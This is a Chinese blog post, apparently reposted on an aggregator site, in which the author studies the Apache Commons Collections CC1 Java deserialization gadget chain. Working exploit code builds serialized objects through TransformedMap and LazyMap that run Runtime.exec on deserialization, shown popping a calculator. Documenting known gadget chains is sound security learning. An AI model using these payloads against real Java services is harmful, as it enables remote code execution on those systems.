CC1链学习记录

news2024/12/23 14:31:02
🌸 前言

上篇文章学习记录了URLDNS链,接下来学习一下Common-Colections利用链。

🌸 相关介绍

Common-Colections是Apache软件基金会的项目,对Java标准的Collections API提供了很好的补充,在其基础上对常用的数据结构进行了封装、抽象和补充,目的在于提供可重用的、用来解决常见需求的代码及数据结构。

CC1的测试环境需要在Java 8u71之前,在此之后AnnotationInvocationHandler的readObject不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。

🌸 环境配置

JDK8u65:Java Archive Downloads - Java SE 8

下载sun的源码:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/41ab7149fea2

(这里的JDK我直接下载了exe可执行文件,然后运行 拿到的jdk文件)

之后将下载的sun源码中的文件(/src/share/classes/sun),复制到jdk文件中的src目录下:

之后配置IDEA File->Project Structure->SDKs->Sourcepath 加入src文件夹

Maven加载的jar包,可以直接点击download source进行下载:

🌸 相关接口和类
🍂 Transformer
public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);

}

Transformer是一个接口,他有一个待实现方法为transform(Object input),去寻找这个方法的实现类:

发现在InvokerTransformer类中重写了这个方法transform,这个类中的方法接受一个参数Oject input,之后判断了这个input是不是为空!如果不为空的话,就通过反射执行方法名和方法的参数!

🍂 InvokerTransformer

InvokerTransformer实现了Transformer, Serializable接口,这个类就可以实现执行任意方法,它存在一个方法transform方法:

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
}

该方法可以实现任意方法执行,当然这也是CC1的关键点所在!实例化这个类可以看到有参数的构造器,需要传进去三个参数:分别是方法名、参数类型和参数。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
}

那走到这里的话,大概就可以使用InvokerTransformer类来执行危险的操作了!

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {
        Runtime runtime = Runtime.getRuntime();
        //String methodName, Class[] paramTypes, Object[] args
        InvokerTransformer invokerTransformer = new InvokerTransformer(new String("exec"),new Class[]{String.class},new Object[]{"calc"});
        invokerTransformer.transform(runtime);
    }
}

因此我们当前的利用链就是:

InvokerTransformer类(transform)可以实现命令执行!

继续向前找,看看谁调用了transform方法,参数类型最好是Object类型。

最后找到了集合map中存在一个TransformedMap类,里面存在checkSetValue方法,调用了transform方法!接受的参数还是Object类型!

到这里就可以继续完善我们的利用链了:

TransformedMap.checkSetValue()->InvokerTransformer.transform()

🍂 TransformedMap
protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
}

代码中发现checkSetValue方法是protected修饰的!因此就需要通过反射来调用了。

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
}

同样构造器也是protected修饰的,因此还是可以通过反射来获取所有的构造器,当然在TransformedMap类中存在一个静态方法decorate方法。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

这个方法中实例化了TransformedMap方法!接受了三个参数,分别是Map、两个Transformer,回去看checkSetValue方法的时候,发现valueTransformer才是对我们有用的!继续修改命令执行的代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {
        Runtime runtime = Runtime.getRuntime();
        //因为decorate静态方法是需要传递map,所以创建一个hashmap
        HashMap hashMap = new HashMap();
        //decorate静态方法还需传递两个Transformer
        //其中valueTransformer是我们需要用到的InvokerTransformer的实例化对象
        InvokerTransformer keyTransformer = new InvokerTransformer(null,null,null);
        InvokerTransformer valueTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        //传递三个参数
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, keyTransformer, valueTransformer);
        //checkSetValue方法只能是反射来调用
        Class<?> aClass = Class.forName("org.apache.commons.collections.map.TransformedMap");

        //获取checkSetValue方法
        Method checkSetValue = aClass.getDeclaredMethod("checkSetValue", Object.class);
        //设置可访问属性为true!
        checkSetValue.setAccessible(true);
        //传递参数调用,最终实现弹出计算器的操作
        checkSetValue.invoke(transformedMap,runtime);

    }
}

接下来根据现在的利用链继续往前找:(看看谁调用了checkSetValue方法)于是只找到了一处调用:

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

这里就需要看一下parent是不是可控的

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

整体看了一下代码,发现setValue方法是AbstractInputCheckedMapDecorator类中的内部静态类里面的MapEntry类中的内部方法。这里就需要去了解如何能到执行到setValue

此处了解到TransformedMap类继承了AbstractInputCheckedMapDecorator类。

继续完善代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {
        Runtime runtime = Runtime.getRuntime();
        HashMap<String,Object> map = new HashMap<>();
        map.put("Y4y17","a");
//        InvokerTransformer keyTransformer = new InvokerTransformer(null,null,null);
        InvokerTransformer valueTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        Map<String,Object> transformedMap =TransformedMap.decorate(map, null, valueTransformer);

        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }
    }
}

继续完善当前的利用链:

AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()

继续找有没有地方调用了setValue方法!于是就找到了AnnotationInvocationHandler类中的readObject方法里面刚好就调用了!

但是这个类是默认的属性:

因此也是需要进行反射获取类原型和构造器的!但是这里需要注意的是,我们的Runtime是无法序列化的!

package org.y4y17;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        //因为Runtime是不可以序列化的,所以这里就尝试进行通过反射来绕过
        Class<Runtime> runtimeClass = Runtime.class;
        Method getRuntime = runtimeClass.getDeclaredMethod("getRuntime");
        Runtime runTime = (Runtime) getRuntime.invoke(null, null);
        Method exec = runtimeClass.getDeclaredMethod("exec", String.class);
        exec.invoke(runTime, "calc");
        //改为InvokerTransformer类调用
        Method getRuntime1 = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime1);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
    }
}

在反射RunTime类的基础上将上面的代码修改为InvokerTransformer类的利用方式:

package org.y4y17;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        Method getRuntime1 = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime1);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
    }
}

这样的话就可以通过InvokerTransformer类来实现弹计算器的操作了!其实可以看到上面是一个递归调用的形式,于是出现了下面的一个类:ChainedTransformer

🍂 ChainedTransformer

该类也是实现了Transformer和Serializable接口的一个类,她的作用就是将内部的多个Transformer连接在一起。

其构造函数传入了一个Transformer数组;然而transform方法就是遍历这个数组,取出数组里面的Transformer对象并调用transform方法,返回的对象又作为下一个Transformertransform方法中的参数被调用。相当于是调用的结果被作为下一个的输入。(说白了其实就是递归调用!)

所以我们就没必要这么麻烦的写上面的代码了!将上面的代码进行改进,使用ChainedTransformer类中的transform方法实现循环调用!

package org.y4y17;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {

        //由于ChainedTransformer类中构造器需要传递的参数是Transformer数组,因此创建一个Transformer数组,将上面的三个InvokerTransformer放进去
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
        // 的transform方法
    }
}
🍂 ConstantTransformer

该类的transform方法返回一个固定的值!

transform方法传入的参数为Object类型的对象,然后方法的功能就是返回一个常量!这个常量是通过构造函数进行赋值的!

🌸 构造链子

寻找一条链子的思路是从后往前找,上面已经提到了我们InvokerTransformer类中存在一个transform方法,这个方法是可以执行任意方法的,那这就是这条链子的终点!我们从这里往前寻找,整个思路就是谁又调用了transform方法,对应的方法又在何处被调用了,最终找到readObject里面调用的方法!

上面提到了InvokerTransformer类中的方法,InvokerTransformer类中的构造方法要求传入三个参数,分别是方法名、参数类型和参数。然后调用transform方法,传入一个对象,利用反射拿到原型类,之后再拿到方法(这里的方法就是我们在构造函数中传入的方法),利用invoke执行代码!

先写一个普通的反射

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        Class aClass = r.getClass();
        Method exec = aClass.getMethod("exec", String.class);
        exec.invoke(r,"calc");
}

接下来我们就是尝试利用InvokerTransformer来执行transform,从而达到任意方法执行。

 public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
     //实例化一个InvokerTransformer对象,传入要执行的方法,参数类型和参数
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        //调用transform方法,传入对象r
     	invokerTransformer.transform(r);//之后便会通过反射获取执行方法,进而完成弹计算器的操作
}

之后我们就需要去寻找谁调用了transform:

找到了很多处调用,最终发现在TransformedMap类中checkSetValue调用了transform方法。

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
}

此时我们需要定位一下valueTransformer是什么,于是看一下构造方法:

构造方法需要传入三个值,分别是Map,和两个Transformer。由于是protected修饰,所以还需要找实例化的地方,于是向上找到decorate:

之后我们还需要去找是谁调用了checkSetValue方法:

发现在AbstractInputCheckedMapDecorator抽象类的内部类MapEntry中的setValue方法调用了checkSetValue

然而如何去调用setValue呢?其实就是在遍历entity(一个entity其实就是一个键值对!)的时候便可以调用setValue。

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map<Object,Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);
        for (Map.Entry entry:map.entrySet()){
            entry.setValue(r);
        }
}

此时通过for循环来遍历entity,就会调用到:AbstractInputCheckedMapDecorator类中的内部类MapEntry里面的方法setValue

其中parent就是TransformedMap类,也就是说调用了TransformedMap类的checkSetValue方法,而valueTransformer的值就是我们传入的InvokerTransformer,继续调用他的transform方法!

之后就是需要找到谁调用了setValue,最好是readObject直接调用!

刚好就是找到了AnnotationInvocationHandler类中的readObject方法调用了setValue!

该类并没有public修饰,省略了修饰符,那就是default修饰,因此我们必须通过反射来获取这个类,同时他的构造器参数是两个:一个是class继承了注解(Override就是一个注解),另一个是Map,这里的Map,我们便可以将我们的TransformedMap传递进去。

我们先来通过反射获取原型类:

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
declaredConstructor.newInstance(Override.class,map);

如上是AnnotationInvocationHandler的readObaject方法,这里在序列化和反序列化之前,有几个问题:

  1. 可以看到readObject中调用setValue的时候,参数是new Anno... 这里到底可控不可控?
  2. 如果可控的话,我们传入的值Runtime的r,Runtime是不可以序列化的,那怎么办?
  3. memberValue.setValue()想要执行,前面还有两个if,需要满足。

首先来解决Runtime序列化的问题,我们知道Runtime.class是可以序列化的!

因此我们再来重新反射进行测试:

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        Class c = Runtime.class;
        Method getRuntimeMethod = c.getDeclaredMethod("getRuntime", null);
        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");
}

这样我们是正常的通过反射来执行弹计算器的操作!

接下来我们将他修改成InvokerTransformer的形式:

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
		Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}

看到这个代码,可以看到前一个调用的结果作为了下一个调用的输入,所以根据上面,想到了一个ChainedTransformer类:

他就是存储一个transformers数组,循环调用!因此我们可以创建一个transformers数组来存放上面的代码,就不需要每次都写,直接调用一次transform方法即可:

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
	Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);
}

其次就是setValue的时候参数到底可控吗?这里就有用到上面的一个类------ConstantTransformer;传入Runtime.class,调用transform方法的时候,返回的值就是传入的值;

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

最后还有两个if来绕过,这里的两个if作用大概就是判断我们传入的注解,是否能够通过key获取到value信息。

我们传入的注解为Target,注解中存在value,因此hashmap中的key就设置为value,这样就可以满足两个if条件了:

最终的POC如下:

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("value","aaa");
        Map<Object,Object> map = TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, map);
        serialize(o);
        unserialize("ser.bin");

    }

大概再来跟一下整个代码的执行流程,断点设置如下:

调用memberVaule(AbstractInputCheckedMapDecorator)的setValue方法:

跟进:

调用了TransformedMap类的checkSetValue方法:继续跟进

调用ChainedTransformer类中的transform方法,进行遍历:

执行calc。

🌸 LazyMap分析

这里其实还有第二种方法!就是通过LazyMap类实现。在LazyMap里面同样是调用了transform方法!

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

这里首先通过if条件判断了map里面是不是包含了key,然后通过factory.transform(key)调用。然后我们观察这个factory是不是可控的,观察到LazyMap的构造器如下:

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

他传递的参数有两个是Map map, Transformer factory,构造器是protected修饰的,所以只能是自己调用。继续看哪里调用了构造器:

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

然后就发现了LazyMap的静态方法有一个decorate,该方法实例化了LazyMap对象。因此我们这里先继续完善代码:(其实chainedTransformer之后的链子都是不变的)

package org.y4y17;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        

    }
    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("res1.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("res1.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

这里我们继续找谁调用了LazyMap里面的get方法,这里就比较多了,直接看了cc1作者的链子,其实还是AnnotationInvocationHandler这个类。在该类的invoke方法中调用了:

public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
    
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
    //就是下面的这行代码调用了get方法!
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

而这个类是动态类加载的处理器类,那么我们需要想办法调用到这个invoke方法,回想在类加载机制学习的时候,当我们利用动态代理调用它里面的任意方法的时候,就会调用到这个invoke方法!

我们逐行的分析代码:

if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
    return equalsImpl(args[0]);

如果请求的是equals方法的话,就会调用equalsImpl方法。

if (paramTypes.length != 0)
    throw new AssertionError("Too many parameters for an annotation method");

如果我们调用的参数不是空的(也就是有参数的方法的话)就会抛出异常了。所以说只能是调用无参的方法!然而在readObject方法中刚好是调用了无参的方法!


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

        //反射创建AnnotationInvocationHandler类对象
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> AnnotationInvocationHandlerConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler in = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
        //创建动态代理
        Object mapProxy = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, in);
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
//        serialization(o);
        deserialization();
    }
    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc1.bin"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2239688.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

边缘计算在智能物流中的应用

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 边缘计算在智能物流中的应用 边缘计算在智能物流中的应用 边缘计算在智能物流中的应用 引言 边缘计算概述 定义与原理 发展历程 …

《多模稳控应急通讯设备技术规范》出炉,应急通讯有章可循!

近日&#xff0c;由深圳市遨游通讯设备有限公司参与的《多模稳控应急通讯设备技术规范》在经历多项严格的审核程序后&#xff0c;由中国中小商会企业协会正式发布实施。该标准详细规定了多模稳控应急通讯设备的术语和定义、产品型号、技术要求、试验方法、检验规则、标志、包装…

生成任意3D和4D场景!GenXD:通用3D-4D联合生成框架 | 新加坡国立微软

文章链接: https://arxiv.org/pdf/2411.02319 项目链接&#xff1a;https://gen-x-d.github.io/ 有视频 亮点直击 设计了一个数据整理流程&#xff0c;从视频中获取包含可移动物体的高质量4D数据&#xff0c;并为30,000个视频标注了相机姿态。这个大规模数据集称为CamVid-30K&…

全面解读:低代码开发平台的必备要素——系统策划篇

在传统开发过程中&#xff0c;系统策划起着举足轻重的作用&#xff0c;它宛如一位幕后的总指挥&#xff0c;把控着整个软件开发项目的走向。而随着技术的不断进步&#xff0c;低代码开发平台逐渐崭露头角&#xff0c;它以快速开发、降低技术门槛等优势吸引了众多企业和开发者的…

如何通过工单池与抢单机制提升企业服务效率与客户满意度?

在许多企业的售后服务或维修管理中&#xff0c;工单管理常常是一个瓶颈。工单处理不及时、任务分配不合理&#xff0c;或者客户的需求没有被准确跟踪&#xff0c;都可能影响到服务质量&#xff0c;进而影响客户满意度。随着企业规模扩大&#xff0c;如何高效管理工单池、合理调…

智慧电厂新纪元:基于亿信ABI的电厂环保指挥管控平台实践

​在当今全球能源转型与环境保护的双重驱动下&#xff0c;电力行业正加速向智能化、绿色化迈进。本案例聚焦于某电厂的智能化转型实践&#xff0c;通过引入先进的烟气达标监测技术与碳资产管理平台&#xff0c;不仅实现了对电厂排放的精准控制&#xff0c;还极大提升了碳数据的…

【C++练习】计算并输出1到10的所有整数的阶乘之和

题目&#xff1a; 计算并输出1到10的所有整数的阶乘之和 描述 编写一个C程序&#xff0c;定义一个函数来计算给定整数n的阶乘&#xff0c;然后在main函数中利用该函数计算从1到10&#xff08;包括1和10&#xff09;所有整数的阶乘&#xff0c;并将这些阶乘值累加起来&#x…

51c嵌入式~单片机合集2

我自己的原文哦~ https://blog.51cto.com/whaosoft/12362395 一、不同的电平信号的MCU怎么通信&#xff1f; 下面这个“电平转换”电路&#xff0c;理解后令人心情愉快。电路设计其实也可以很有趣。 先说一说这个电路的用途&#xff1a;当两个MCU在不同的工作电压下工作&…

ROM修改进阶教程------安卓14 安卓15去除app签名验证的几种操作步骤 详细图文解析

在安卓14 安卓15的固件中。如果修改了系统级别的app。那么就会触发安卓14 15的应用签名验证。要么会导致修改的固件会进不去系统,或者进入系统有bug。博文将从几方面来解析去除安卓14 15应用签名验证的几种方法。 💝💝💝通过博文了解: 1💝💝💝-----安卓14去除…

抓包工具WireShark使用记录

